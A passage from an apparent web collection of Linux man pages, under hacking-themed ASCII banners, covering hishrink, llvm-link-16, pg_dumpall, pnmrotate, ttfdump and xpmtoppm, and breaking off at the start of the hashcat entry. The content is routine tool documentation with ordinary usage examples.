Colin Watson wrote the current incarnation of the command-line front-end, as well as this man page.

BUGS

https://gitlab.com/man-db/man-db/-/issues
https://savannah.nongnu.org/bugs/?group=man-db

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1639 - Linux cli command hishrink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hishrink and provides detailed information about the command hishrink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hishrink.

NAME 🖥️ hishrink 🖥️

translating ASCII HINT files to binary files

SYNOPSIS

hishrink [options] [file]

DESCRIPTION

Shrinking converts an ASCII HINT file, usually with the extension .hint, into a binary HINT file, with the extension .hnt.

The ASCII based HINT file format - also called `long’ format - is optimized for readability. It can be edited using a text editor. Hence it allows simple modifications that would be difficult to achieve when using the binary format. It is also convenient when debugging.

The binary HINT file format - also called `short’ format - is optimized for displaying HINT files. It can be parsed equally well in forward and backward direction to enable fast forward or backward navigation in the file.

The binary HINT file format is designed for on-screen reading of documents. Using a HINT viewer to display a HINT file, its content will dynamically adapt to the available display area. For complete information on the HINT file format and programs to view HINT files, see https://hint.userweb.mwn.de.

OPTIONS

This version of hishrink understands the following command line options:

-a
Use only the localized names for auxiliary files as explained in the FILES section below.

If you know that the auxiliary files can be found using the localized names, for example after creating them with histretch using the -a option, you can use hishrink with the -a option to limit the search for the auxiliar files. If you are unsure, you should use neither the -a nor the -g option. hishrink will then search for auxiliar files first using the localized path names and then using the path names as given.

-c
Enable the use of compression for the HINT file. Compressed files are smaller but require decompression when viewing. Use only for large files if the file size matters.

-d* bitmask*
Sets HINT file debugging flags according to the bitmask. Use the –help option for details.

-g
Do not use the localized names for auxiliary files as explained in the FILES section below.

You may use this option if you know that all auxiliar files are at the locations described by the path names stored in the HINT file. If you are unsure, you should use neither the -g nor the -a option. hishrink will then search for auxiliar files first using the localized path names and then using the path names as given.

–help
Print help message and exit.

-l
Redirect standard error to a log file. The name of the log file is derived from the name of the input file replacing the extension .hint by the extension .log.

-o* name*
Use name for the output file instead of deriving it from the name of the input file. Append the extension .hnt if the name does not already has that extension.

–version
Print version information and exit.

FILES

Binary HINT files must contain all resources necessary to display the file, for example font and image files. These files are called auxiliary files. ASCII HINT files contain only the path names of these files.

When creating a binary HINT file from an ASCII HINT file, it is necessary to find these files, read them, and include them in the binary output file. When creating an ASCII HINT file from a binary HINT file, it is convenient if these files can be extracted and written to the file system. To avoid clobbering arbitrary directories with files when extracting auxiliary files, it is possible to map the path names as stored in the HINT file to localized path names before writing or reading auxiliar files.

When computing a localized path name from a given path name, a distinction is made between global resources, like fonts, that are referenced by an absolute path name, and local resources, for example an image, that are referenced by a relative path name. The directory that starts the localized path name of the former has the extension .abs and for the latter the extension .rel is used. To keep auxiliary files in these subdirectories even if their path contains links to a parent directory, parent links `..’ are replaced by `__’ links to subdirectories.

For example, given an input file paper.hint, the global resources are stored in the paper.abs directory and local resources are stored in paper.rel. An absolute path like /usr/share/fonts/ will then map to the localized path paper.abs/usr/share/fonts/ and a relative path like ../image/img1.jpg will then map to the localized path paper.rel/__/image/img1.jpg.

NOTES

This manual page is not meant to be exhaustive. The complete documentation can be found in the HINT: The file format. This document is available as a book or in electronic form from the HINT project home page at https://hint.userweb.mwn.de. There you find additional software, most importantly viewers for HINT files, and further information.

AVAILABILITY

hishrink should compile on a large variety of machine architectures and operating systems. It is part of the TeX Live distribution.

SEE ALSO

histretch(1), hitex(1),

AUTHORS

Martin Ruckert

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1640 - Linux cli command llvm-link-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-link-16 and provides detailed information about the command llvm-link-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-link-16.

NAME 🖥️ llvm-link-16 🖥️

link - LLVM bitcode linker

SYNOPSIS

llvm-link [options] filename …

DESCRIPTION

llvm-link takes several LLVM bitcode files and links them together into a single LLVM bitcode file. It writes the output file to standard output, unless the -o option is used to specify a filename.

OPTIONS

-f
Enable binary output on terminals. Normally, llvm-link will refuse to write raw bitcode output if the output stream is a terminal. With this option, llvm-link will write raw bitcode regardless of the output device.

-o filename
Specify the output file name. If filename is “-”, then llvm-link will write its output to standard output.

-S
Write output in LLVM intermediate language (instead of bitcode).

-d
If specified, llvm-link prints a human-readable version of the output bitcode file to standard error.

-help
Print a summary of command line options.

-v
Verbose mode. Print information about what llvm-link is doing. This typically includes a message for each bitcode file linked in and for each library found.

EXIT STATUS

If llvm-link succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1641 - Linux cli command pg_dumpall

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pg_dumpall and provides detailed information about the command pg_dumpall, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pg_dumpall.

NAME 🖥️ pg_dumpall 🖥️

extract a PostgreSQL database cluster into a script file

SYNOPSIS

pg_dumpall [connection-option…] [option…]

DESCRIPTION

pg_dumpall is a utility for writing out (“dumping”) all PostgreSQL databases of a cluster into one script file. The script file contains SQL commands that can be used as input to psql(1) to restore the databases. It does this by calling pg_dump(1) for each database in the cluster. pg_dumpall also dumps global objects that are common to all databases, namely database roles, tablespaces, and privilege grants for configuration parameters. (pg_dump does not save these objects.)

Since pg_dumpall reads tables from all databases you will most likely have to connect as a database superuser in order to produce a complete dump. Also you will need superuser privileges to execute the saved script in order to be allowed to add roles and create databases.

The SQL script will be written to the standard output. Use the -f/–file option or shell operators to redirect it into a file.

pg_dumpall needs to connect several times to the PostgreSQL server (once per database). If you use password authentication it will ask for a password each time. It is convenient to have a ~/.pgpass file in such cases. See Section 34.16 for more information.

OPTIONS

The following command-line options control the content and format of the output.

-a
–data-only

Dump only the data, not the schema (data definitions).

-c
–clean

Emit SQL commands to DROP all the dumped databases, roles, and tablespaces before recreating them. This option is useful when the restore is to overwrite an existing cluster. If any of the objects do not exist in the destination cluster, ignorable error messages will be reported during restore, unless –if-exists is also specified.

-E encoding
**–encoding=**encoding

Create the dump in the specified character set encoding. By default, the dump is created in the database encoding. (Another way to get the same result is to set the PGCLIENTENCODING environment variable to the desired dump encoding.)

-f filename
**–file=**filename

Send output to the specified file. If this is omitted, the standard output is used.

-g
–globals-only

Dump only global objects (roles and tablespaces), no databases.

-O
–no-owner

Do not output commands to set ownership of objects to match the original database. By default, pg_dumpall issues ALTER OWNER or SET SESSION AUTHORIZATION statements to set ownership of created schema elements. These statements will fail when the script is run unless it is started by a superuser (or the same user that owns all of the objects in the script). To make a script that can be restored by any user, but will give that user ownership of all the objects, specify -O.

-r
–roles-only

Dump only roles, no databases or tablespaces.

-s
–schema-only

Dump only the object definitions (schema), not data.

-S username
**–superuser=**username

Specify the superuser user name to use when disabling triggers. This is relevant only if –disable-triggers is used. (Usually, its better to leave this out, and instead start the resulting script as superuser.)

-t
–tablespaces-only

Dump only tablespaces, no databases or roles.

-v
–verbose

Specifies verbose mode. This will cause pg_dumpall to output start/stop times to the dump file, and progress messages to standard error. Repeating the option causes additional debug-level messages to appear on standard error. The option is also passed down to pg_dump.

-V
–version

Print the pg_dumpall version and exit.

-x
–no-privileges
–no-acl

Prevent dumping of access privileges (grant/revoke commands).

–binary-upgrade

This option is for use by in-place upgrade utilities. Its use for other purposes is not recommended or supported. The behavior of the option may change in future releases without notice.

–column-inserts
–attribute-inserts

Dump data as INSERT commands with explicit column names (INSERT INTO table (column, …) VALUES …). This will make restoration very slow; it is mainly useful for making dumps that can be loaded into non-PostgreSQL databases.

–disable-dollar-quoting

This option disables the use of dollar quoting for function bodies, and forces them to be quoted using SQL standard string syntax.

–disable-triggers

This option is relevant only when creating a data-only dump. It instructs pg_dumpall to include commands to temporarily disable triggers on the target tables while the data is restored. Use this if you have referential integrity checks or other triggers on the tables that you do not want to invoke during data restore.

Presently, the commands emitted for –disable-triggers must be done as superuser. So, you should also specify a superuser name with -S, or preferably be careful to start the resulting script as a superuser.

**–exclude-database=**pattern

Do not dump databases whose name matches pattern. Multiple patterns can be excluded by writing multiple –exclude-database switches. The pattern parameter is interpreted as a pattern according to the same rules used by psqls \d commands (see Patterns), so multiple databases can also be excluded by writing wildcard characters in the pattern. When using wildcards, be careful to quote the pattern if needed to prevent shell wildcard expansion.

**–extra-float-digits=**ndigits

Use the specified value of extra_float_digits when dumping floating-point data, instead of the maximum available precision. Routine dumps made for backup purposes should not use this option.

–if-exists

Use DROP … IF EXISTS commands to drop objects in –clean mode. This suppresses “does not exist” errors that might otherwise be reported. This option is not valid unless –clean is also specified.

–inserts

Dump data as INSERT commands (rather than COPY). This will make restoration very slow; it is mainly useful for making dumps that can be loaded into non-PostgreSQL databases. Note that the restore might fail altogether if you have rearranged column order. The –column-inserts option is safer, though even slower.

–load-via-partition-root

When dumping data for a table partition, make the COPY or INSERT statements target the root of the partitioning hierarchy that contains it, rather than the partition itself. This causes the appropriate partition to be re-determined for each row when the data is loaded. This may be useful when restoring data on a server where rows do not always fall into the same partitions as they did on the original server. That could happen, for example, if the partitioning column is of type text and the two systems have different definitions of the collation used to sort the partitioning column.

**–lock-wait-timeout=**timeout

Do not wait forever to acquire shared table locks at the beginning of the dump. Instead, fail if unable to lock a table within the specified timeout. The timeout may be specified in any of the formats accepted by SET statement_timeout.

–no-comments

Do not dump comments.

–no-publications

Do not dump publications.

–no-role-passwords

Do not dump passwords for roles. When restored, roles will have a null password, and password authentication will always fail until the password is set. Since password values arent needed when this option is specified, the role information is read from the catalog view pg_roles instead of pg_authid. Therefore, this option also helps if access to pg_authid is restricted by some security policy.

–no-security-labels

Do not dump security labels.

–no-subscriptions

Do not dump subscriptions.

–no-sync

By default, pg_dumpall will wait for all files to be written safely to disk. This option causes pg_dumpall to return without waiting, which is faster, but means that a subsequent operating system crash can leave the dump corrupt. Generally, this option is useful for testing but should not be used when dumping data from production installation.

–no-table-access-method

Do not output commands to select table access methods. With this option, all objects will be created with whichever table access method is the default during restore.

–no-tablespaces

Do not output commands to create tablespaces nor select tablespaces for objects. With this option, all objects will be created in whichever tablespace is the default during restore.

–no-toast-compression

Do not output commands to set TOAST compression methods. With this option, all columns will be restored with the default compression setting.

–no-unlogged-table-data

Do not dump the contents of unlogged tables. This option has no effect on whether or not the table definitions (schema) are dumped; it only suppresses dumping the table data.

–on-conflict-do-nothing

Add ON CONFLICT DO NOTHING to INSERT commands. This option is not valid unless –inserts or –column-inserts is also specified.

–quote-all-identifiers

Force quoting of all identifiers. This option is recommended when dumping a database from a server whose PostgreSQL major version is different from pg_dumpalls, or when the output is intended to be loaded into a server of a different major version. By default, pg_dumpall quotes only identifiers that are reserved words in its own major version. This sometimes results in compatibility issues when dealing with servers of other versions that may have slightly different sets of reserved words. Using –quote-all-identifiers prevents such issues, at the price of a harder-to-read dump script.

**–rows-per-insert=**nrows

Dump data as INSERT commands (rather than COPY). Controls the maximum number of rows per INSERT command. The value specified must be a number greater than zero. Any error during restoring will cause only rows that are part of the problematic INSERT to be lost, rather than the entire table contents.

–use-set-session-authorization

Output SQL-standard SET SESSION AUTHORIZATION commands instead of ALTER OWNER commands to determine object ownership. This makes the dump more standards compatible, but depending on the history of the objects in the dump, might not restore properly.

-?
–help

Show help about pg_dumpall command line arguments, and exit.

The following command-line options control the database connection parameters.

-d connstr
**–dbname=**connstr

Specifies parameters used to connect to the server, as a connection string; these will override any conflicting command line options.

The option is called –dbname for consistency with other client applications, but because pg_dumpall needs to connect to many databases, the database name in the connection string will be ignored. Use the -l option to specify the name of the database used for the initial connection, which will dump global objects and discover what other databases should be dumped.

-h host
**–host=**host

Specifies the host name of the machine on which the database server is running. If the value begins with a slash, it is used as the directory for the Unix domain socket. The default is taken from the PGHOST environment variable, if set, else a Unix domain socket connection is attempted.

-l dbname
**–database=**dbname

Specifies the name of the database to connect to for dumping global objects and discovering what other databases should be dumped. If not specified, the postgres database will be used, and if that does not exist, template1 will be used.

-p port
**–port=**port

Specifies the TCP port or local Unix domain socket file extension on which the server is listening for connections. Defaults to the PGPORT environment variable, if set, or a compiled-in default.

-U username
**–username=**username

User name to connect as.

-w
–no-password

Never issue a password prompt. If the server requires password authentication and a password is not available by other means such as a .pgpass file, the connection attempt will fail. This option can be useful in batch jobs and scripts where no user is present to enter a password.

-W
–password

Force pg_dumpall to prompt for a password before connecting to a database.

This option is never essential, since pg_dumpall will automatically prompt for a password if the server demands password authentication. However, pg_dumpall will waste a connection attempt finding out that the server wants a password. In some cases it is worth typing -W to avoid the extra connection attempt.

Note that the password prompt will occur again for each database to be dumped. Usually, its better to set up a ~/.pgpass file than to rely on manual password entry.

**–role=**rolename

Specifies a role name to be used to create the dump. This option causes pg_dumpall to issue a SET ROLE rolename command after connecting to the database. It is useful when the authenticated user (specified by -U) lacks privileges needed by pg_dumpall, but can switch to a role with the required rights. Some installations have a policy against logging in directly as a superuser, and use of this option allows dumps to be made without violating the policy.

ENVIRONMENT

PGHOST
PGOPTIONS
PGPORT
PGUSER

Default connection parameters

PG_COLOR

Specifies whether to use color in diagnostic messages. Possible values are always, auto and never.

This utility, like most other PostgreSQL utilities, also uses the environment variables supported by libpq (see Section 34.15).

NOTES

Since pg_dumpall calls pg_dump internally, some diagnostic messages will refer to pg_dump.

The –clean option can be useful even when your intention is to restore the dump script into a fresh cluster. Use of –clean authorizes the script to drop and re-create the built-in postgres and template1 databases, ensuring that those databases will retain the same properties (for instance, locale and encoding) that they had in the source cluster. Without the option, those databases will retain their existing database-level properties, as well as any pre-existing contents.

Once restored, it is wise to run ANALYZE on each database so the optimizer has useful statistics. You can also run vacuumdb -a -z to analyze all databases.

The dump script should not be expected to run completely without errors. In particular, because the script will issue CREATE ROLE for every role existing in the source cluster, it is certain to get a “role already exists” error for the bootstrap superuser, unless the destination cluster was initialized with a different bootstrap superuser name. This error is harmless and should be ignored. Use of the –clean option is likely to produce additional harmless error messages about non-existent objects, although you can minimize those by adding –if-exists.

pg_dumpall requires all needed tablespace directories to exist before the restore; otherwise, database creation will fail for databases in non-default locations.

EXAMPLES

To dump all databases:

$ pg_dumpall > db.out

To restore database(s) from this file, you can use:

$ psql -f db.out postgres

It is not important to which database you connect here since the script file created by pg_dumpall will contain the appropriate commands to create and connect to the saved databases. An exception is that if you specified –clean, you must connect to the postgres database initially; the script will attempt to drop other databases immediately, and that will fail for the database you are connected to.

SEE ALSO

Check pg_dump(1) for details on possible error conditions.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1642 - Linux cli command pnmrotate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmrotate and provides detailed information about the command pnmrotate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmrotate.

.

NAME 🖥️ pnmrotate 🖥️

rotate a PNM image by some angle

SYNOPSIS

pnmrotate [-noantialias] [**-background=**color] angle [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pnmrotate reads a PNM image as input. It rotates it by the specified angle and produces the same kind of PNM image as output.

The input is the file named by pnmfile or Standard Input if you don’t specify pnmfile. The output goes to Standard Output.

The resulting image is a rectangle that contains the (rectangular) input image within it, rotated with respect to its bottom edge. The containing rectangle is as small as possible to contain the rotated image. The background of the containing image is a single color that pnmrotate determines to be the background color of the original image, or that you specify explicitly.

angle is in decimal degrees (floating point), measured counter-clockwise. It can be negative, but it should be between -90 and 90.

You should use pamflip instead for rotations that are a multiple of a quarter turn. It is faster and more accurate.

For rotations greater than 45 degrees you may get better results if you first use pamflip to do a 90 degree rotation and then pnmrotate less than 45 degrees back the other direction.

The rotation algorithm is Alan Paeth’s three-shear method. Each shear is implemented by looping over the source pixels and distributing fractions to each of the destination pixels. This has an “anti-aliasing” effect - it avoids jagged edges and similar artifacts. However, it also means that the original colors or gray levels in the image are modified. If you need to keep precisely the same set of colors, you can use the -noantialias option.

The program runs faster and uses less real memory with the -noantialias option. It uses a large amount of virtual memory either way, as it keeps a copy of the input image and a copy of the output image in memory, using 12 bytes per pixel for each. But with -noantialias, it accesses this memory sequentially in half a dozen passes, with only a few pages of memory at a time required in real memory.

In contrast, without -noantialias, the program’s real memory working set size is one page per input image row plus one page per output image row. Before Netpbm 10.16 (June 2003), -noantialias had the same memory requirement.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmrotate recognizes the following command line options:

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

**-background=**color
This determines the color of the background on which the rotated image sits.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine .

By default, if you don’t specify this option, pnmrotate selects what appears to it to be the background color of the original image. It determines this color rather simplistically, by taking an average of the colors of the two top corners of the image.

This option was new in Netpbm 10.15. Before that, pnmrotate always behaved as is the default now.

-noantialias
This option forces pnmrotate to simply move pixels around instead of synthesizing output pixels from multiple input pixels. The latter could cause the output to contain colors that are not in the input, which may not be desirable. It also probably makes the output contain a large number of colors. If you need a small number of colors, but it doesn’t matter if they are the exact ones from the input, consider using pnmquant on the output instead of using -noantialias.

Note that to ensure the output does not contain colors that are not in the input, you also must consider the background color. See the -background option.

REFERENCES

“A Fast Algorithm for General Raster Rotation” by Alan Paeth, Graphics Interface ‘86, pp. 77-81.

SEE ALSO

pnmshear(1) , pamflip(1) , pnmquant(1) , pnm(1)

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmrotate.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1643 - Linux cli command ttfdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ttfdump and provides detailed information about the command ttfdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ttfdump.

NAME 🖥️ ttfdump 🖥️

Dumping the contents of a TrueType Font file

SYNOPSIS

ttfdump [-h] [-t tablename] [-g glyphnumber] [-c collection] [-o dumpfile] [-i] ttfile

DESCRIPTION

ttfdump dumps the contents of a TrueType font file in ASCII form. A TrueType font file is consist of various tables. Those table are divided into two categories - Required Tables and Optional Tables. Mulitiple TrueType fonts can be merged to a TrueType Collection.

Options

-h
Print a help message on standard output and exit.

-t tablename
If this option is specified then dump the table “tablename”, otherwise dump every tables in ttfile. Tablename can be one of the following:

Required Tables
cmap
character to glyph mapping table

glyf
glyph data

head
font header

hhea
horizontal header

hmtx
horizontal metrics

loca
index to location

maxp
maximum profile

name
naming table

post
PostScript information

OS/2
OS/2 and windows specific metrics

Optional Tables
cvt
control value table

fpgm
font program; not implemented yet.

gasp
grid-fitting and scan conversion procedure (grayscale)

hdmx
horizontal device metrics

kern
kerning table

LTSH
Linear threshold table

prep
CVT program; not implemented yet

PCLT
PCL5 table

VDMX
Vertical Device Metrics table

vhea
vertical metrics header

vmtx
vertical metrics

Additional OpenType Tables
GPOS
glyph positioning table

GSUB
glyph substitution table

-g glyphnumber
If this option is specified then dump the glyph with index glyphnumber, otherwise dump all glyphs in ttfile.

-c collection
Select a TrueType font in a TrueType Collection.

-o dumpfile
Output of the dump. If this option is not specified, dump to stdout.

-i ttfile
TrueType font file to be dumped.

EXAMPLE

To dump all information in the TrueType font file times.ttf:

ttfdump times.ttf

To dump the required table cmap in the file:

ttfdump -t cmap times.ttf

To dump a single glyph with index 50:

ttfdump -g 50 times.ttf

SEE ALSO

TrueType 1.0 Font Files, Technical Specification Revision 1.66 November 1995

NOTE

Instruction disassembler in not implemented.

AUTHOR

Li-Da Lho, [email protected]

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1644 - Linux cli command xpmtoppm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xpmtoppm and provides detailed information about the command xpmtoppm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xpmtoppm.

.

NAME 🖥️ xpmtoppm 🖥️

convert an X11 pixmap to a PPM image

SYNOPSIS

xpmtoppm

[–alphaout={alpha-filename,-}] [-verbose]

[xpmfile]

DESCRIPTION

This program is part of Netpbm(1) .

xpbtoppm reads an X11 pixmap (XPM version 1 or 3) as input and produces a PPM image as output.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), xpmtoppm recognizes the following command line options:

**–alphaout=**alpha-filename
xpmtoppm creates a PBM file containing the transparency mask for the image. If the input image doesn’t contain transparency information, the alpha-filename file contains all white (opaque) transparency values. If you don’t specify –alphaout, xpmtoppm does not generate a transparency file, and if the input image has transparency information, xpmtoppm simply discards it.

If you specify - as the filename, xpmtoppm writes the transparency output to Standard Output and discards the image.

See pamcomp(1) for one way to use the transparency output file.

xpmtoppm can’t handle a line longer than 8K characters in the XPM input. If an input line exceeds this limit, xpmtoppm quits with an error message to that effect. Before Netpbm 10.30 (October 2005), the limit was 2K.

–verbose
xpmtoppm prints information about its processing on Standard Error.

LIMITATIONS

xpmtoppm recognizes only a limited set of the features of XPM Version 3; i.e. it rejects as invalid many valid XPM images.

The only place a comment block is valid is starting in Column 1 of the line immediately after “static char …”.

In addition, ppmtoxpm properly recognizes any single-line comment that begins in Column 1 in the color table part of the file.

There must be for every pixel a default colorname for a color type visual.

Before Netpbm 10.58 (March 2012), zero bytes per pixel causes the program to fail with a message about premature EOF on input.

SEE ALSO

ppmtoxpm(1) , pamcomp(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Jef Poskanzer.

Upgraded to work with XPM version 3 by Arnaud Le Hors<[email protected]>, Tue Apr 9 1991.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/xpmtoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1645 - Linux cli command hashcat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hashcat and provides detailed information about the command hashcat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hashcat.

NAME 🖥️ hashcat 🖥️

Advanced CPU-based password recovery utility

SYNOPSIS

hashcat [options]* hashfile *[mask|wordfiles|directories]

DESCRIPTION

Hashcat is the world’s fastest CPU-based password recovery tool.

